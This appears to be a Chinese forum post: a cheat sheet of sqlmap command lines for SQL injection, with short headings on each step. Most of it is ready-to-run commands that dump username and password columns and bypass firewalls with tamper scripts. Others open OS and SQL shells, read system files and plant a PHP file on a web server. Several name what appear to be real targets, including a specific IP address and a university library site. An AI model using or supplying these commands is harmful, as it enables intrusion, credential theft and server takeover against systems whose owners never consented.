sqlmap使用实例
/pentest/database/sqlmapupdate :::::> in the folder afterexecute following order : svn update
sqlmap.py -r 1.txt --current-db
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
猜解数据库
./sqlmap.py -u "injection-url" --dbs
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
猜解表名
./sqlmap.py -u "injection-url" -D database_name --tables
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
sqlmap.py -r 1.txt -v 3 --dbs--batch --tamper "space2morehash.py" 绕过防火墙了
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
猜解列名
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
&submit=Go
猜解值
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
========================================================
搜索表名中包括mana字符的
/sqlmap.py -u "injection-url" -T mana --search
返回一个交互式sql shell
/sqlmap.py -u "injection-url" --sql-shell
读取指定文件(需权限)
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
查看当前 用户 及 数据库
/sqlmap.py -u "injection-url" --current-user --current-db
本地文件 写入 远程目标绝对路径
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
查看某用的权限
/sqlmap.py -u "injection-url" --privileges -U root
查看当前用户是否为dba
/sqlmap.py -u "injection-url" --is-dba
读取所有数据库用户或指定数据库用户的密码
sqlmap.py -r 1.txt --users --passwords
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
/sqlmap.py -u "injection-url" --passwords -U root
--start&&--stop 与 --first&&--last 的区别
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
页:
[1]